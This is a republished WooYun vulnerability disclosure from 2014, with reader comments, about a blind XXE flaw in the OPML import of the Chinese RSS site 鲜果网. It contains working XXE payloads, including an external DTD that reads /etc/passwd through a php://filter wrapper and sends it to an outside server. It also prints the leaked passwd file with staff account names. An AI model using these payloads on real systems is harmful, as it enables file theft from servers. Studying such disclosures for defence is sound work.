鲜果网RSS导入Blind XXE漏洞

admin 2015年6月1日09:27:53评论492 views字数 223阅读0分44秒阅读模式
摘要

2014-08-27: 细节已通知厂商并且等待厂商处理中
2014-08-27: 厂商已查看当前漏洞内容,细节仅向厂商公开
2014-09-01: 厂商已经主动忽略漏洞,细节向公众公开

漏洞概要 关注数(73) 关注此漏洞

缺陷编号: WooYun-2014-74069

漏洞标题: 鲜果网RSS导入Blind XXE漏洞

相关厂商: 鲜果网

漏洞作者: iv4n

提交时间: 2014-08-27 16:07

公开时间: 2014-09-01 16:08

漏洞类型: 任意文件遍历/下载

危害等级: 高

自评Rank: 10

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: xxe blindxxe

58人收藏


漏洞详情

披露状态:

2014-08-27: 细节已通知厂商并且等待厂商处理中
2014-08-27: 厂商已查看当前漏洞内容,细节仅向厂商公开
2014-09-01: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

鲜果网支持导入 OPML文件格式的订阅,本质还是XML格式,由于处理不严格导致Blind XXE漏洞。

详细说明:

http://xianguo.com/my/opml

不怎么用鲜果,不过在测试其他的地方的时候发现的一个问题,Blind XXE是老漏洞,PHP的OOB也没啥难度, 不过没看到wooyun有实例,就放出来了。

一般的XXE漏洞测试流程:

1. 是否支持解析实体 ——> 2. 是否支持解析外部实体

1. 通常步骤是先看能否解析实体

code 区域
<!DOCTYPE note [
<!ENTITY test "ivan_test">
]>
&test;

2. 然后看看能否引用外部实体(当然,如果修补方案是过滤这里还需要测试通过DOCTYPE引入DTD的情况)

code 区域
<!DOCTYPE note [
<!ENTITY test SYSTEM "http://1v4n.sinaapp.com">
]>
&test;

不幸的是此路不通,所以就上主角了:Blind XXE。

纯Blind XXE的核心就是参数实体了,有几个特性:

code 区域
通过%引用
只能在DTD内部
立即即引用
实体嵌套

上POC:

<!DOCTYPE root [

<!ENTITY % remote SYSTEM "http://1v4n.sinaapp.com/xxxxxxx">

%remote;

]>

导入的时候,看看自己服务器的日志,有访问,证明外部实体引用成功。

剩下的就是OOB了,看了下是PHP,可惜没Expect 扩展,直接使用php wrapper,php://filter/read=convert.base64-encode/resource=file:///etc/passwd 导出数据。

至于能干什么,就看SSRF功底和运气了,这里就读取/etc/passwd。

导入POC:

code 区域
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY % remote SYSTEM "http://1v4n.sinaapp.com/xxe/evil_php.xml">
%remote;
]>
<opml version="1.0">
<head>
<title>subscriptions</title>
<dateCreated>2014-07-09 11:34:09</dateCreated>
<ownerName></ownerName>
</head>
<body>
<outline text="应用邦"
title="应用邦" type="rss"
htmlUrl="http://de.appchina.com"
xmlUrl="http://de.appchina.com/feed/" />
<outline text="elle中文网"
title="elle中文网" type="rss"
htmlUrl="http://www.ellechina.com/?s_cid=xianguolife"
xmlUrl="http://www.ellechina.com/xml/rss/xianguo_life_rss.xml" />
</body>
</opml>

引用的:1v4n.sinaapp.com/xxe/evil_php.xml 代码如下(这里的url改成自己的服务器,不然数据又到我的server上了,o(╯□╰)o):

code 区域
<!ENTITY % payload SYSTEM  "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://1v4n.sinaapp.com/?xxe_local=%payload;'>">
%int;
%trick;

漏洞证明:

鲜果网RSS导入Blind XXE漏洞

base64解密

code 区域
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin
xianguo:x:1000:1000:xianguo:/home/xianguo:/bin/bash
www:x:102:1001:www:/home/www:/bin/bash
messagebus:x:103:104::/var/run/dbus:/bin/false
zhaobaohua:x:1001:1002:,,,:/home/zhaobaohua:/bin/bash
snmp:x:104:105::/var/lib/snmp:/bin/false
nagios:x:105:106::/home/nagios:/bin/false
awstats:x:1002:1003:,,,:/home/awstats:/bin/bash
statd:x:106:65534::/var/lib/nfs:/bin/false
puppet:x:1003:1004::/home/puppet:/sbin/nologin
nginx:x:1004:1005::/home/nginx:/bin/false
mysql:x:1005:1006::/home/mysql:/bin/false
redis:x:107:107:redis server,,,:/var/lib/redis:/bin/false
zhangrenning:x:1006:1007:,,,:/home/zhangrenning:/bin/bash
hudingguo:x:1007:1008:,,,:/home/hudingguo:/bin/bash
saihu:x:1008:1009:,,,:/home/saihu:/bin/bash
huaping:x:1009:1001::/home/huaping:/bin/sh

修复方案:

禁止实体 OR 过滤

版权声明:转载请注明来源 iv4n@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-09-01 16:08

厂商回复:

漏洞Rank:10 (WooYun评价)

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2014-08-27 16:09 | U神 ( 核心白帽子 | Rank:1375 漏洞数:152 | 乌云核心菜鸟,此号处于联盟托管中....)

    0

    blind xxe

  2. 2014-08-27 16:14 | 海绵宝宝 ( 普通白帽子 | Rank:369 漏洞数:86 | 唯有梦想与好姑娘不可辜负.)

    0

    mark

  3. 2014-09-01 16:31 | D_in ( 普通白帽子 | Rank:423 漏洞数:65 | 到我嘴里来)

    0

    学习了

  4. 2014-09-01 16:34 | YwiSax ( 实习白帽子 | Rank:62 漏洞数:4 | 淡定。)

    0

    这么吊都忽略了?

  5. 2014-09-02 08:55 | 3xpl0it ( 普通白帽子 | Rank:151 漏洞数:37 )

    0

  6. 2014-09-02 12:09 | 啊L川 鲜果网RSS导入Blind XXE漏洞 ( 普通白帽子 | Rank:195 漏洞数:39 | 菜鸟 ,菜渣, 菜呀!)

    0

    好叼

  7. 2014-09-02 14:05 | xsser_w ( 普通白帽子 | Rank:116 漏洞数:34 | 哎)

    0

    要知道 鲜果的那个 #alert(1) 也没修复呢 pz很久以前就爆了

  8. 2015-02-27 17:11 | xsser 鲜果网RSS导入Blind XXE漏洞 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)

    0

    精华之 :)

  9. 2015-06-02 10:26 | _Evil ( 普通白帽子 | Rank:431 漏洞数:61 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    0

    @xsser 嗯 温故而知新,可以为师以

  10. 2015-06-02 20:11 | 胡小树 ( 实习白帽子 | Rank:66 漏洞数:13 | 我是一颗小小树)

    0

    好厉害,赞赞赞

  11. 2016-01-08 20:08 | lanyan ( 路人 | Rank:1 漏洞数:1 | qq 1614591916 求搞基 加我时记得备注woo...)

    0

    mark

  12. 2016-02-22 23:36 | 情痴 ( 实习白帽子 | Rank:38 漏洞数:12 | 乌云最菜的菜鸟)

    1

    学习了

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin